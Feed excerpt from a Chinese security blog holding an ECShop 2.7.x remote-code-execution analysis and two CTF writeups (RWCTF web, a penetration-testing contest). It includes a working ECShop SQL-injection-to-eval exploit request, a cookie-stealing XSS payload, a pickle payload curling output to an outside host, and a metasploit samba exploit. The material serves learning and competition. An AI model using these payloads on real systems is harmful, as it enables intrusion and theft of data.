<p>可以看到代码获取了$out,$out中有一部分代码就是前面assign注册的变量(这里的技术细节我就不讨论了,有兴趣的师傅可以研究研究),然后将$out依据<code>$_echash</code>分割并且对奇数块执行了insert_mod方法,<code>$_echash</code>是代码里写死的<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> $_echash = <span class="string">'554fcae493e564ee0dc75bdf2ebf94ca'</span>;</span><br></pre></td></tr></table></figure><br>所以这里的$val是可控的,继续往下跟<code>insert_mod</code>方法(/includes/cls_template.php:1155) </p>
<p><img src="/img/2018-ecshop-rce-3.png" alt=""> </p>
<p>该方法实现了一个动态函数调用,将传入的字符串分割后,前半部分拼接进函数名,后半部分反序列化为一个对象并传入该函数(这里因为参数可控,直接就能反序列化漏洞了,但是不知道为啥没有师傅提到,可能是被RCE掩盖了8),所以此处我们就能调用一个<code>insert_</code>开头的函数,这里通过网上流传的payload可以知道是调用了一个<code>insert_ads</code>方法(/includes/lib_insert.php:136)</p>
<p><img src="/img/2018-ecshop-rce-4.png" alt=""> </p>
<p>代码将传入的对象取出num和id拼接进sql语句,因为对象是可控的,所以这里就存在了sql注入漏洞,结合前面的$out分割和分割取ads函数名和反序列化可以构造注入payload如下<br><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">Referer</span>: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:36:"*/ union select 1,2,3,4,5,6,7,8,9,10";s:2:"id";s:3:"'/*";}</span><br></pre></td></tr></table></figure><br>拼接进去后的sql长这样<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, <span class="keyword">RAND</span>() <span class="keyword">AS</span> rnd <span class="keyword">FROM</span> <span class="string">`ecshop273`</span>.<span class="string">`ecs_ad`</span> <span class="keyword">AS</span> a <span class="keyword">LEFT</span> <span class="keyword">JOIN</span> <span class="string">`ecshop273`</span>.<span class="string">`ecs_ad_position`</span> <span class="keyword">AS</span> p <span class="keyword">ON</span> a.position_id = p.position_id <span class="keyword">WHERE</span> enabled = <span class="number">1</span> <span class="keyword">AND</span> start_time <= <span class="string">'1536544160'</span> <span class="keyword">AND</span> end_time >= <span class="string">'1536544160'</span> <span class="keyword">AND</span> a.position_id = <span class="string">''</span><span class="comment">/*' ORDER BY rnd LIMIT */</span> <span class="keyword">union</span> <span class="keyword">select</span> <span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>,<span class="number">7</span>,<span class="number">8</span>,<span class="number">9</span>,<span class="number">10</span></span><br></pre></td></tr></table></figure><br>放到数据库里可以成功union select出数据 </p>
<p><img src="/img/2018-ecshop-rce-5.png" alt=""> </p>
<p>这意味着查询出的结果也是我们可控的,继续啃代码,可以知道查询出来的position_id等于传入对象的id属性时,<code>$position_style</code>会被赋值为查询出的<code>position_style</code>并加入前缀<code>str:</code>接着传入fetch方法中<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">foreach</span> ($res <span class="keyword">AS</span> $row)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> ($row[<span class="string">'position_id'</span>] != $arr[<span class="string">'id'</span>])</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> $position_style = $row[<span class="string">'position_style'</span>];</span><br><span class="line"> .</span><br><span class="line"> .</span><br><span class="line"> .</span><br><span class="line"> $val = $GLOBALS[<span class="string">'smarty'</span>]->fetch($position_style);</span><br></pre></td></tr></table></figure><br>跟进fetch方法,后面就是一条长长的利用链了:</p>
<ul>
<li>fetch(/includes/cls_template.php:135):取str:后的字符串,<code>fetch_str</code>处理后传入_eval执行</li>
<li>_eval(/includes/cls_template.php:1179):将参数拼接进eval()执行</li>
<li>fetch_str(/includes/cls_template.php:281):过滤了一堆参数然后将<code>{}</code>内的字符串传入<code>select</code>中处理,返回处理后的字符串</li>
<li>select(/includes/cls_template.php:371):如果传入的参数以<code>$</code>开头,则将其传入<code>get_val</code>并将结果拼接到<code><?php echo ' . $res . '; ?></code>返回</li>
<li>get_val(/includes/cls_template.php:553):避开其他几个判断,直接将参数传入<code>make_val</code>执行并返回</li>
<li>make_var(/includes/cls_template.php:663):将字符串拼接进<code>$p = '$this->_var[\'' . $val . '\']';</code>并返回</li>
</ul>
<p>根据以上利用链,最后构造的payload为<code>{$'];assert(xxxxxx);//}</code><br>最后拼接进eval的参数长这样(其实上面利用链中还有其他许多分支可以最后拼接出可执行的代码,我就不深入研究了<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> <span class="keyword">echo</span> <span class="keyword">$this</span>->_var[<span class="string">''</span>];assert(base64_decode(<span class="string">"ZmlsZV9wdXRfY29udGVudHMoJy4vdGVtcC94aXNoaXIucGhwJywnPD9waHAgcGhwaW5mbygpOz8+Jyk="</span>));<span class="comment">//']; <span class="meta">?></span></span></span><br></pre></td></tr></table></figure></p>
<h2 id="0x03漏洞利用"><a href="#0x03漏洞利用" class="headerlink" title="0x03漏洞利用"></a>0x03漏洞利用</h2><p>最后就是构造完整的payload了,我的构造脚本如下,扔到php里运行就好<br><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line">$payload = <span class="string">"file_put_contents('./temp/xishir.php','<?php phpinfo();?>')"</span>;</span><br><span class="line">$res = <span class="string">"\{\$'];assert(base64_decode(\""</span>.base64_encode($payload).<span class="string">"\"));//}"</span>;</span><br><span class="line"></span><br><span class="line">bin2hex($res);</span><br><span class="line">$a = [<span class="string">'num'</span> => <span class="string">"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x"</span>.bin2hex($res).<span class="string">",9"</span>, <span class="string">'id'</span> => <span class="string">"'/*"</span>];</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> serialize($a);</span><br></pre></td></tr></table></figure><br><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">GET</span> <span class="string">/ECShop_V2.7.3_UTF8_release1106/upload/user.php</span> HTTP/1.1</span><br><span class="line"><span class="attribute">Host</span>: 127.0.0.1</span><br><span class="line"><span class="attribute">Accept-Encoding</span>: gzip, deflate</span><br><span class="line"><span class="attribute">Accept-Language</span>: zh-CN,zh;q=0.9,en;q=0.8</span><br><span class="line"><span class="attribute">Referer</span>: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:273:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x5c7b24275d3b617373657274286261736536345f6465636f646528225a6d6c735a56397764585266593239756447567564484d6f4a793476644756746343393461584e6f61584975634768774a79776e5044397761484167634768776157356d627967704f7a382b4a796b3d2229293b2f2f7d,9";s:2:"id";s:3:"'/*";}</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br></pre></td></tr></table></figure><br>payload运行效果<br><img src="/img/2018-ecshop-rce-5.gif" alt=""> </p>
<h2 id="0x04参考链接"><a href="#0x04参考链接" class="headerlink" title="0x04参考链接"></a>0x04参考链接</h2><ul>
<li><a href="https://xz.aliyun.com/t/2689" target="_blank" rel="noopener">ECShop全系列版本远程代码执行高危漏洞分析</a></li>
<li><a href="www.lmxspace.com/2018/09/02/ECShop-sqli-and-rce/">ECShop sqli and rce</a></li>
</ul>
<h2 id="0x05后话"><a href="#0x05后话" class="headerlink" title="0x05后话"></a>0x05后话</h2><p>ECShop3.*中只是加了一些防护,核心漏洞点换汤不换药,有兴趣的师傅自行研究8<br>ECShop4.0的修复方案是把插入sql的num和id强转为int,但是前面还有个动态函数调用和反序列化还是有风险的感觉,等一个师傅来解答。</p>
<p>有趣的是昨天分析下载代码的时候注册了一下ECShop官方的账号,今天就有小改改打电话问我是不是搞电商的,和她说我只是下载代码来学习研究的,她还推荐我去分析最新的4.*版本,好的我一定分析,咕咕咕</p>
]]></content>
<summary type="html">
<h2 id="0x00前言"><a href="#0x00前言" class="headerlink" title="0x00前言"></a>0x00前言</h2><p>前几天出了个<code>ECShop&lt;= 2.7.x/3.6.x</code>前台RCE,实训太无聊了来分析一波<br>
</summary>
<category term="RCE" scheme="https://www.codemonster.cn/tags/RCE/"/>
<category term="SQL" scheme="https://www.codemonster.cn/tags/SQL/"/>
</entry>
<entry>
<title>2018 RWCTF web WriteUp</title>
<link href="https://www.codemonster.cn/2018/07/31/2018-rwctf-web-writeup/"/>
<id>https://www.codemonster.cn/2018/07/31/2018-rwctf-web-writeup/</id>
<published>2018-07-31T05:11:58.000Z</published>
<updated>2018-07-31T05:19:20.000Z</updated>
<content type="html"><![CDATA[<p>周末打了长亭举办的RealWorldCTF,tql,写一下web的wp给博客除除草。 </p>
<a id="more"></a>
<h1 id="dot-free"><a href="#dot-free" class="headerlink" title="dot free"></a>dot free</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">All the IP addresses and domain names have dots, but can you hack without dot?</span><br></pre></td></tr></table></figure>
<p>主页有个提交url的框,尝试提交自己的url,但是打不到,怀疑限制了ip,测试中发现网站是是django,并且开启了debug模式,提交错误的post参数就可以看到报错信息<br><img src="/img/2018-rwctf-img8.png" alt=""></p>
<p>可以看到web站点的名字叫 XSSWebSite,于是找xss的点,尝试查找django的xss,但是最新版本并没有已知的xss漏洞,后面发现主页存在这样一段js代码,看起来是个domxss<br><img src="/img/2018-rwctf-img9.png" alt=""></p>
<p>调试一下,可以知道这段代码从浏览器的url取了查询字符串,urldecode后格式化为json,然后发送到一个监听器里去操作,代码里过滤了value参数不能出现<code>.</code>,<code>//</code>和<code>。</code>,type不为iframe的时候会将value插入到一个script标签中<br>看到这里和题目提示对应上了,不能出现<code>.</code>,最后构造payload如下<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://13.57.104.34/?{%22iframe%22:{%22value%22:%22http:/\\111111111%22,%22type%22:%22xxxx%22}}</span><br></pre></td></tr></table></figure><br>11111111替换为自己的vps的ip转10进制,可以看到页面里已经出现一个src=11111111的script标签了<br><img src="/img/2018-rwctf-img11.png" alt=""></p>
<p>然后提交这个url到Recieve,服务端就会执行vps上提前构造好的js语句了<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">window</span>.location.href=<span class="string">"http://xxxxxxx/?="</span>+<span class="built_in">escape</span>(<span class="built_in">document</span>.cookie);</span><br></pre></td></tr></table></figure><br>最后flag在cookie里<br><img src="/img/2018-rwctf-img10.png" alt=""><br>flag: rwctf{L00kI5TheFlo9}</p>
<h1 id="bookhub"><a href="#bookhub" class="headerlink" title="bookhub"></a>bookhub</h1><p>题目提示www.zip,可以下载到源码<br>看到代码里登陆的时候会检查ip白名单,这里的ip是取的xff,不在白名单内会提示ip不在白名单内<br><img src="/img/2018-rwctf-img12.png" alt=""><br>修改xff为白名单ip失败,猜测xff获取到的是nginx转发过去的ip,所以想到从上面这串里的唯一一个外网ip 18.213.16.123入手<br>扫描该ip,发现5000端口也开了一个相同的应用程序bookhub,并且开启了debug模式,在这里登陆的提示是密码错误,说明已经绕过了白名单检查。</p>
<p>审计代码发现有一处鉴权的装饰器使用错误(route和login_required顺序反了)<br><img src="/img/2018-rwctf-img4.png" alt=""><br>这会导致鉴权装饰器无效,没有登陆的用户也能调用该接口(debug模式下<br>查看接口代码,可以知道这个接口eval了lua脚本,用来清除除了自己之外其他所有人的session,其中sessionid存在拼接操作,并且可控,想到可以注入点东西<br><img src="/img/2018-rwctf-img5.png" alt=""><br>参考 <a href="https://www.ctolib.com/topics-129777.html" target="_blank" rel="noopener">https://www.ctolib.com/topics-129777.html</a><br>通过这个接口,将恶意的数据(cPickle反序列化漏洞的payload)注入到redis中,当鉴权的时候就会反序列化该字符串,就能任意命令执行了,但是因为该接口需要csrf_token校验,所以多一步获取token的操作<br>具体操作如下:<br>1.生成payload:<br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> cPickle</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">genpoc</span><span class="params">(object)</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__reduce__</span><span class="params">(self)</span>:</span></span><br><span class="line"> s = <span class="string">"""curl http://xxxx.ceye.io/`/readflag|base64`"""</span></span><br><span class="line"> <span class="keyword">return</span> os.system, (s,)</span><br><span class="line"></span><br><span class="line">evil = cPickle.dumps(genpoc())</span><br><span class="line"><span class="keyword">print</span> evil.replace(<span class="string">"\n"</span>,<span class="string">"\\n"</span>)</span><br></pre></td></tr></table></figure><br>2.构造恶意的sessionid并访问/login/获取csrf_token:<br><figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bookhub-session=aaa<span class="string">"} redis.call("</span>set<span class="string">","</span>bookhub:session:aaa<span class="string">","</span>cposix\nsystem\np1\n(S<span class="string">'curl http://xxxxxxx.ceye.io/`/readflag|base64`'</span>\np2\ntRp3\n.<span class="string">")--;</span></span><br></pre></td></tr></table></figure><br>这里拼接进lua脚本后长这样:<br><figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">local</span> inputs = {<span class="string">"bookhub:session:aaa"</span>}</span><br><span class="line">redis.call(<span class="string">"set"</span>,<span class="string">"bookhub:session:aaa"</span>,<span class="string">"cposix\nsystem\np1\n(S'curl http://xxxxxxx.ceye.io/`/readflag|base64`'\np2\ntRp3\n."</span>)<span class="comment">--;</span></span><br></pre></td></tr></table></figure><br>到时候脚本运行后就会将恶意数据写入<code>aaa</code>这个session-id的value里,并且删除其他除了aaa意外的session<br><img src="/img/2018-rwctf-img6.png" alt=""><br>3.带着2中生成的ssrf_token和恶意的session-id去请求 /admin/system/refresh_session<br>postdata: submit=1&ssrf_token=<br>导致lua代码注入修改我们的目标session-id的value值, 最后用<code>aaa</code>这个session-id任意访问一个需要session的页面即可触发反序列化漏洞执行命令<br>最后用ceye外带出flag<br><img src="/img/2018-rwctf-img13.png" alt=""></p>
<h1 id="Print-MD"><a href="#Print-MD" class="headerlink" title="Print-MD"></a>Print-MD</h1><p>Print-MD这道题比赛过程中没做出来,比赛结束忙着上班,wp还没写完,先写一下思路<br>想看wp的可以去蓝猫师傅的博客膜一下 <a href="https://blog.cal1.cn/post/RealWorldCTF%20PrintMD%20writeup" target="_blank" rel="noopener">RealWorldCTF PrintMD writeup</a><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">PrintMD</span><br><span class="line">Paste your HackMD link to get a printer-friendly version!</span><br><span class="line">The note should neither be Protected nor Private.</span><br><span class="line">Press Ctrl + P to print or save as PDF.</span><br><span class="line">PrintMD is compatible with outdated browsers.</span><br><span class="line">If the link is published version of the note, which contains /s/, you can append /edit to get the original link. e.g., https://hackmd.io/s/HyCFXNkNm/edit</span><br><span class="line">flag is in /flag</span><br></pre></td></tr></table></figure><br><code>print?url=</code>可以提交一个hackmd的链接并将md文档解析为html,但是限制了只能读取<code>https://hackmd.io/</code>开头的url,故无法ssrf </p>
<p>第一个hint提示 兼容低版本浏览器,其实之前就有发现在我本机<code>不同浏览器</code>访问print接口会有不同的效果:</p>
<ol>
<li>chrome请求该接口,返回的标题是 <code>请稍后</code>,然后浏览器再往外发请求获取hackmd的md内容,然后解析成html展示到页面上 </li>
<li>firefox请求接口,返回的是已经解析好的html标签,很明显后端做了请求并解析md为html的工作</li>
</ol>
<p>猜测print接口应该是校验了user-agent,于是测试了一下chrome的ua,发现66.0是个分水岭,然而并没有啥进展<br><img src="/img/2018-rwctf-img1.png" alt=""><br><img src="/img/2018-rwctf-img2.png" alt=""></p>
<p>后面查看前端代码里的 print.ba84889093b992d33112.js<br>发现这样一段代码<br><img src="/img/2018-rwctf-img3.png" alt=""><br>可以看到这个应该就是print接口的核心代码了,接受到url参数,判断是否为hackmd的url,然后在url最后如果不是/download就拼接一个/download进去,<br>因为hackmd.io/xxxxxxx/download 是可以下载markdown格式的文件的,<br>然后将ua和url传入 <code>/api/render/</code> 接口,因为这个接口外部没有权限访问(访问会403),而且不知道这个接口调用了啥库,所以陷入了僵局</p>
<p>hint2 给了render.js的代码<br><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> {Router} = <span class="built_in">require</span>(<span class="string">'express'</span>)</span><br><span class="line"><span class="keyword">const</span> {matchesUA} = <span class="built_in">require</span>(<span class="string">'browserslist-useragent'</span>)</span><br><span class="line"><span class="keyword">const</span> router = Router()</span><br><span class="line"><span class="keyword">const</span> axios = <span class="built_in">require</span>(<span class="string">'axios'</span>)</span><br><span class="line"><span class="keyword">const</span> md = <span class="built_in">require</span>(<span class="string">'../../plugins/md_srv'</span>)</span><br><span class="line"></span><br><span class="line">router.post(<span class="string">'/render'</span>, <span class="function"><span class="keyword">function</span> (<span class="params">req, res, next</span>) </span>{</span><br><span class="line"> <span class="keyword">let</span> ret = {}</span><br><span class="line"> ret.ssr = !matchesUA(req.body.ua, {</span><br><span class="line"> browsers: [<span class="string">"last 1 version"</span>, <span class="string">"> 1%"</span>, <span class="string">"IE 10"</span>],</span><br><span class="line"> _allowHigherVersions: <span class="literal">true</span></span><br><span class="line"> });</span><br><span class="line"> <span class="keyword">if</span> (ret.ssr) {</span><br><span class="line"> axios(req.body.url).then(<span class="function"><span class="params">r</span> =></span> {</span><br><span class="line"> ret.mdbody = md.render(r.data)</span><br><span class="line"> res.json(ret)</span><br><span class="line"> })</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> ret.mdbody = md.render(<span class="string">'# 请稍候…'</span>)</span><br><span class="line"> res.json(ret)</span><br><span class="line"> }</span><br><span class="line">});</span><br><span class="line"></span><br><span class="line"><span class="built_in">module</span>.exports = router</span><br></pre></td></tr></table></figure><br>可以看到我们可控的地方有三个点,分别对应三个库:</p>
<ol>
<li>ua: 对应<code>browserslist-useragent</code>库,主要是用来判断当前ua版本是否符合预期版本,感觉问题不大</li>
<li>url: 对应<code>axios</code>库,当ua版本被判定为低版本时,会用axios对url发送一个get请求,但是url限制死了只能 <code>https://hackmd.io/</code>,所以能利用的地方有限</li>
<li>r.data: url返回的内容,然后用<code>../../plugins/md_srv</code>这个库进行了解析,不知道这个库是啥情况</li>
</ol>
<p>比赛过程中到这里又陷入了僵局,赛后问了蓝猫师傅才知道利用点在axios这边</p>
<p>未完待续。。。</p>
]]></content>
<summary type="html">
<p>周末打了长亭举办的RealWorldCTF,tql,写一下web的wp给博客除除草。 </p>
</summary>
<category term="CTF" scheme="https://www.codemonster.cn/tags/CTF/"/>
<category term="WriteUp" scheme="https://www.codemonster.cn/tags/WriteUp/"/>
<category term="WEB" scheme="https://www.codemonster.cn/tags/WEB/"/>
</entry>
<entry>
<title>2018 信息安全铁人三项赛第七(福建)赛区 WriteUp</title>
<link href="https://www.codemonster.cn/2018/05/17/2018-t3sec-fujian-writeup/"/>
<id>https://www.codemonster.cn/2018/05/17/2018-t3sec-fujian-writeup/</id>
<published>2018-05-17T06:42:59.000Z</published>
<updated>2018-07-28T06:19:57.000Z</updated>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>时隔一年再次参加铁三,今年的赛制有点改动,企业赛个人赛和数据赛三场在同一天进行,在队友们的带领下混了个赛区第二名,成功晋级决赛。本次比赛中我主要负责的是企业赛部分,也就是对给定目标进行渗透测试,然后中间穿插着做了几道数据赛的题,这里记录一下。(因为比赛过程中没怎么截图,师傅们别打我)</p>
<a id="more"></a>
<h2 id="0x00-企业赛,启动"><a href="#0x00-企业赛,启动" class="headerlink" title="0x00 企业赛,启动"></a>0x00 企业赛,启动</h2><p>比赛开始,从平台里可以看到给了两个ip<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">202.1.2.50</span><br><span class="line">202.1.2.60</span><br></pre></td></tr></table></figure><br>先从50这台下手,nmap扫描得到几个端口:80,137,3389等<br>这里基本可以知道是台windows服务器了(可能有ms系列漏洞或者可以3389爆破一波),<br>打开浏览器直接访问发现是个php页面,存在文件包含漏洞,源代码提示包含Tips.php,直接用<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">?file=php://filter/read=convert.base64-encode/resource=Tips.php</span><br><span class="line">?file=php://filter/read=convert.base64-encode/resource=index.php</span><br></pre></td></tr></table></figure><br>读一下源码,得到提示:<code>Have you ever heard of SNMP information trasures??</code><br>先不管提示,fuzz读取了一下<code>flag.php</code>,直接读取到flag5,拿下100分,这里开了个脑洞,c盘根目录会不会也有个flag呢?<br>于是尝试读取<code>c:\\flag.txt</code>,果然,读到了flag4,又拿下100分。(这里工作人员过来问我是不是拿到了服务器权限,怎么这么快,只能告诉他我是靠意识猜的flag) </p>
<h2 id="0x01-拿下服务器"><a href="#0x01-拿下服务器" class="headerlink" title="0x01 拿下服务器"></a>0x01 拿下服务器</h2><p>再回到提示,通过搜索引擎,找到了这篇文章:<a href="http://www.freebuf.com/column/144144.html" target="_blank" rel="noopener">一次对SNMP服务的渗透测试</a><br>文中给出了多种方法对SNMP服务进行渗透测试,这里我采用了<code>metasploit</code>的<code>auxiliary/scanner/snmp/snmp_login</code>,设置一下参数然后运行,跑出SNMP存在弱密码,可以直接读取系统的敏感信息,使用如下命令查看一波<br><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">snmpwalk -v1 -c admin <span class="number">202</span>.<span class="number">1</span>.<span class="number">2</span>.<span class="number">50</span></span><br></pre></td></tr></table></figure><br>然后返回了一大堆系统敏感,有用户列表,ip信息等等,在用户列表那里发现了一个名为<code>libai</code>的用户,随手<code>mstsc</code>连接3389测试一下弱口令,果不其然,<code>libai</code>用户的密码为<code>admin</code>,查看一下还有管理员权限,这里就算是彻底拿下50这台服务器了<br>在服务器里探索一波,发现http服务是用<code>phpstudy</code>搭建的,用phpstudy连接进mysql数据库,在test数据库里找到flag6<br>然后全局搜索文件,搜索到两个名字带有flag的图片文件,让队友去做了,不过也没做出啥 </p>
<h2 id="0x02-内网渗透"><a href="#0x02-内网渗透" class="headerlink" title="0x02 内网渗透"></a>0x02 内网渗透</h2><p>服务器翻得差不多了,内网探测一波,发现如下<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">192.168.1.2 开启80,53端口</span><br><span class="line">192.168.1.43 8080端口存在一个dotcms</span><br></pre></td></tr></table></figure><br>.2这台感觉是台dns服务器,不过没有什么思路,先从dot开始吧,这里因为dot在50的内网,拷工具进去渗透很不方便,在50上用ew跑了个socks5代理,把50当作跳板<br><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ew_for_Win.exe -s ssocksd -l <span class="number">1080</span></span><br></pre></td></tr></table></figure><br>然后本地配个代理就能直接访问了,搜索引擎查到该版本的dotcms存在一个sql注入和一个后台getshell漏洞,但是注入还是盲注,好麻烦<br>后台测了一波弱口令,未果,突然发现在普通用户登录界面有个邮箱和密码<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">bill@xxxxx.com (具体的我忘了!)</span><br><span class="line">bill</span><br></pre></td></tr></table></figure><br>猜测它也是后台管理员帐号,直接登陆,果然成功了,然后用后台getshell漏洞来getshell<br>参考地址:<a href="http://seclists.org/fulldisclosure/2017/Jul/33" target="_blank" rel="noopener">http://seclists.org/fulldisclosure/2017/Jul/33</a><br>参考文章,找到上传点,这里我用firefox的修改数据包功能构造了<code>任意文件上传</code>的包,传了个jsp网马,这里因为后台有waf的原因,还是上了个免杀马才成功的,总之拿到了shell<br><img src="/img/2018-t3sec-1.png" alt=""><br>因为是<code>jsp网站</code>的原因,直接就是<code>administrator</code>权限了,在c盘发现了flag2,当时时间有限而且这台服务器没有开启3389,没有继续深入挖掘,后来听说dot的前端页面也有个flag,然后还有个flag在回收站里,脑洞果然够大,附上cmd查看回收站命令:<br><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> $recycle.bin</span><br></pre></td></tr></table></figure></p>
<h2 id="0x03-FTP服务器"><a href="#0x03-FTP服务器" class="headerlink" title="0x03 FTP服务器"></a>0x03 FTP服务器</h2><p>接着对60服务器进行渗透测试,nmap扫描,发现开启了21,22,445,有个ftp服务,当时查了一下ftp版本,没啥漏洞,然后用<code>hydra</code>爆破一波,也没爆出来东西,赛后得知是linux的永恒之蓝漏洞,这里记录一下,参考:<a href="https://bbs.ichunqiu.com/thread-23281-1-1.html" target="_blank" rel="noopener">https://bbs.ichunqiu.com/thread-23281-1-1.html</a><br><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">use exploit/linux/samba/is_known_pipename</span><br><span class="line"><span class="built_in">set</span> RHOST <span class="number">202</span>.<span class="number">1</span>.<span class="number">2</span>.<span class="number">60</span></span><br><span class="line">run</span><br></pre></td></tr></table></figure></p>
<h2 id="0x04-数据赛"><a href="#0x04-数据赛" class="headerlink" title="0x04 数据赛"></a>0x04 数据赛</h2><p>先贴一下最终答案截图(队友余老师截的图)<br><img src="/img/2018-t3sec-2.png" alt=""><br><img src="/img/2018-t3sec-3.png" alt=""><br>其中大部分题目只要对渗透测试有一定的了解,会使用wireshark之类的流量分析工具,都能解出,我就不详细说了,<br>讲一下卡了特别久的两道题(中间差点跳过那种,还好没跳过,最后全部做出加了100多分),一个是第9题,图片木马的密码是什么,这里其实只要找到对应的位置,将图片文件下载下来,然后cat一下就能发现php一句话了(我也不知道为什么卡了那么久)<br>还有一个是第12题,找黑客往FTP上传的文件名,因为挂了个reGeorg代理,ftp协议变得很奇怪,这里我也找了好久,以为后面还有很多题,想当然地以为这题一定在第8个数据包里,结果只找到了FTP密码,然后想了想去看看第9个包吧,进去搜索一下FTP协议上传文件的命令<code>STOR</code>,直接就找到了</p>
<h2 id="0x05-个人赛"><a href="#0x05-个人赛" class="headerlink" title="0x05 个人赛"></a>0x05 个人赛</h2><p>队友jaken拿了个一血,web狗表示膜拜</p>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>今年分区赛因为和Defcon China撞车的原因,几个强队好像都不是主力来打,没有被吊打的很严重,不过还是看到了自己的很多不足,内网渗透做做的还不是特别好,对很多漏洞没有敏感的嗅觉,对几个工具的使用也不是特别熟练,数据分析卡题严重<br>不过结果还是好的,拿了个亚军,成功晋级决赛,不知道有没有机会打~,附上最后排行图<br><img src="/img/2018-t3sec-4.png" alt=""><br>(最后弱弱地吐槽一下,今年亚军的奖金比去年1/3场分区赛的季军奖金还少!)</p>
]]></content>
<summary type="html">
<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>时隔一年再次参加铁三,今年的赛制有点改动,企业赛个人赛和数据赛三场在同一天进行,在队友们的带领下混了个赛区第二名,成功晋级决赛。本次比赛中我主要负责的是企业赛部分,也就是对给定目标进行渗透测试,然后中间穿插着做了几道数据赛的题,这里记录一下。(因为比赛过程中没怎么截图,师傅们别打我)</p>
</summary>
<category term="渗透" scheme="https://www.codemonster.cn/tags/%E6%B8%97%E9%80%8F/"/>
